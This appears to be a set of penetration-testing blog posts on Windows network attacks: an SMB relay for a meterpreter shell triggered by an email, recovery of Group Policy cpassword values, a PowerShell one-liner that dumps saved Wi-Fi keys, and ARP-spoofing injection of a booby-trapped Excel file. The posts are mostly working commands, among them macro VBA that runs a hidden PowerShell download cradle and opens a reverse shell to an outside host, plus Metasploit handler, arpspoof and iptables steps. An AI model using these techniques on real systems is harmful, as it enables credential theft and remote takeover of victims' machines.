SMB Relay Attack

Outlined below is one method of carrying out a NTLMv1 SMB relay attack for the purposes of obtaining a meterpreter shell on our target. For this type of attack to work, we have to insert ourselves into the NTLM challenge/response process. More on that in a minute.

First, we need to understand how NTLM challenge/response works in a basic way. When a client first attempts to connect a network share (for example), the server responds back asking the client who is making the request to encrypt some random data using the user’s password hash. This is the “challenge”.  The client encrypts the data as requested and sends it back.  This is the response. If the server is successful in decrypting the data and it matches the random data using the password hash which is/was already stored on the server, then the user is considered to be authenticated.

Using Metasploit Framework, we can create a listening SMB service and automate much of the process of inserting ourselves into the middle of the NTLM challenge/response process.

Metasploit box: 172.17.130.81
Domain Admin Workstation: 172.17.130.33
Target Server: 172.17.130.75

Our goal in this scenario is to get a shell on 172.17.130.75.

To do this, we first need to “convince” our victim (172.17.130.33) to make a connection to our Metasploit box (172.17.130.81).  To accomplish that piece, we are going to embed a UNC path referencing our Metasploit box in an email message, which will then cause the victim’s computer to carry out the NTLM challenge/response process mentioned above…however, our Metasploit box is going to relay the information to our Target (172.17.130.75) in hopes of getting a shell on the Target box.

To start, we need to fire up Metasploit Framework and load the SMB Relay mode.  This can be achieved with the following one-liner:

msfconsole -x “use windows/smb/smb_relay; set payload windows/meterpreter/reverse_tcp; set LHOST 172.17.130.81;set SMBHOST 172.17.130.75; set SRVHOST 172.17.130.81; run”

Capture1

We now need to send an email to our victim with an embedded reference to our Metasploit box which Outlook will (hopefully) automatically load for us.  To achieve this (and there may be a better way), I created a file named temp.html and typed up the following HTML code:

<html>
<head>
<img src=”\\172.17.130.81\test.jpg”></img>
</head>
</html>

After saving it, I re-opened the file using Word (2016).  I hit control-a (select all) and pasted the entire contents into an new email message (Outlook 2016), typed up a generic message to the victim, and then hit send. Below is a copy of the message that was opened on the Domain Admin’s workstation within Outlook (2016) on 172.17.130.33.

Capture8

As soon as the message is opened, the normal NTLM challenge/response process is kicked off; however, in the background, our Metasploit box is relaying the challenege/response to 172.17.130.75.  We now have our meterpreter session on 172.17.130.75.

Capture4

If we look in the Windows Event Logs on 172.17.130.75, we can see the suspicious activity and the payload being delivered and executed.

Capture5Capture6Capture7

And finally our meterpreter shell:

Capture9

Advertisements

Local Admin Password Retrieval Technique

Obviously this is a old topic but still relevant and worth mentioning.  Previously I had discussed this same technique but mapping a drive to Sysvol and pulling it out that way; however, I found a much easier way… especially since you may not always have a connection to a server.

If you do a search for groups.xml on the local machine, you can find it stored in a number of places.  For example:

c:\> dir groups.xml /s

Capture.JPG

From there, we can view the contents – again, without needing to touch an AD server.

c:\> type groups.xml

<?xml version=”1.0″ encoding=”UTF-8″ ?><Groups clsid=”{3125E937-EB16-4b4c-9934-544FC6D24D26}”>
<User clsid=”{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}” name=”xxx-workstation” image=”2″ changed=”2015-01-23 20:46:24″ uid=”{44C5BADF-53AA-45B5-9B59-46992E24539C}” policyApplied=”1″>
<Properties action=”U” newName=”” fullName=”XXX Workstation Administration” description=”XXX Workstation Administration” cpassword=”ie/nEVShK/XXX0APiSgSMl6X2PL3C+MBhkL6byzXXX” changeLogon=”0″ noChange=”0″ neverExpires=”1″ acctDisabled=”0″ subAuthority=”” userName=”xxx-workstation”></Properties></User>
<Group clsid=”{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}” name=”Administrators” image=”2″ changed=”2015-01-23 20:46:53″ uid=”{C61E28C6-3136-45D6-8D18-1C301FA0CCC5}” policyApplied=”1″>
<Properties action=”U” newName=”” description=”” deleteAllUsers=”0″ deleteAllGroups=”0″ removeAccounts=”0″ groupName=”Administrators”>
<Members>
<Member name=”xx-workstation” action=”ADD” sid=”S-1-5-21-608828738-4017660839-3836957458-1005″></Member></Members></Properties></Group></Groups>

The line from the above output that we care about is:

cpassword=”ie/nEVShK/XXX0APiSgSMl6X2PL3C+MBhkL6byzXXX”

Microsoft published the AES encryption key here (thanks!):

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx#endNote2

One can use various free tools to decrypt GPP passwords:

Capture2

Extracting Wireless PSKs Using Powershell

(netsh wlan show profiles) | Select-String “\:(.+)$” | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=”$name” key=clear)}  | Select-String “Key Content\W+\:(.+)$” | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

Malicious File Injection Technique

The idea with this particular attack is to inject a malicious file into the victim’s packet stream when they visit a non-https webpage.  For example, the default website for Internet Explorer is http://www.msn.com. So, when the victim opens their web browser, we can (after a successful MiTM attack) inject our malicious file in hopes that they will run it.

Local LAN attack box: 172.17.130.53 (Kali Linux)
Local LAN victim: 172.17.130.75 (Windows 7 with IE 11, fully patched)
Public AWS server: 52.37.49.217
Internal AWS LAN IP: 172.31.18.189

Ideally, we want to remain undetected by  AV, so we’ve embedded our malicious code with a macro-enabled Excel document.  If/When the victim runs the file and clicks to enable macros when prompted, a Powershell command is executed that downloads Invoke-Shellcode (written by Matt Graber) and runs it entirely within memory so as to continue to remain undetected by AV.

First, we need to craft our malicious Excel document.  This is covered in a separate post, but the basic VBA code looks like this:

Private Sub Auto_Open()
strCommand = “powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1 ‘);invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 52.37.49.217 -Lport 8443”
Set WshShell = CreateObject(“WScript.Shell”)
Set WshShellExec = WshShell.Exec(strCommand)
End Sub

We also need a place to host our malicious file, which we’ve is seen below:

Capture4

Next, we setup our metasploit listener, which is being done on an AWS box:

./msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 172.31.18.189; set PORT 8443; run”

Capture8

AWS NAT rules to forward incoming 8443 traffic:

Capture4

We now need to execute a MiTM attack on the victim. If we check the ARP table on our victim PC, we can see how it looks before ARP spoofing:

Capture

After running the following three commands on our local attack box, we’ll have successfully implemented our MiTM attack:

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t routerIP victimIP
arpspoof -i eth0 -t victimIP routerIP

Below is what we’ll see, on our local attack box:

Capture0

If we look again at the victim PC, we can see the change to the ARP tables:

Capture2

Once the MiTM attack is fully in place, we can now execute the following two commands on our local attack box to proxy all traffic on port  80 to port 8080:

iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080

./mitmproxy -T -s “iframe_injector.py http://aws.shellgam3.com/files/2016%20Employee%20Salaries.xlsm&#8221;

The first argument runs mitmproxy in transparent proxy mode so that we can view incoming traffic on port 8080.  The second argument runs a script that injects our macro-enabled Excel document into the victim’s web browser, hosted at AWS.

Capture5

When the victim visits any non-http site (like MSN.com), they should see something similar within their browser:

Capture6

Within the mitmproxy console, we should see the injection:

Capture7

When the file is opened by the victim, we should (hopefully) have our reverse shell.  Even when the victim closes Excel, the shell should persist.

Capture3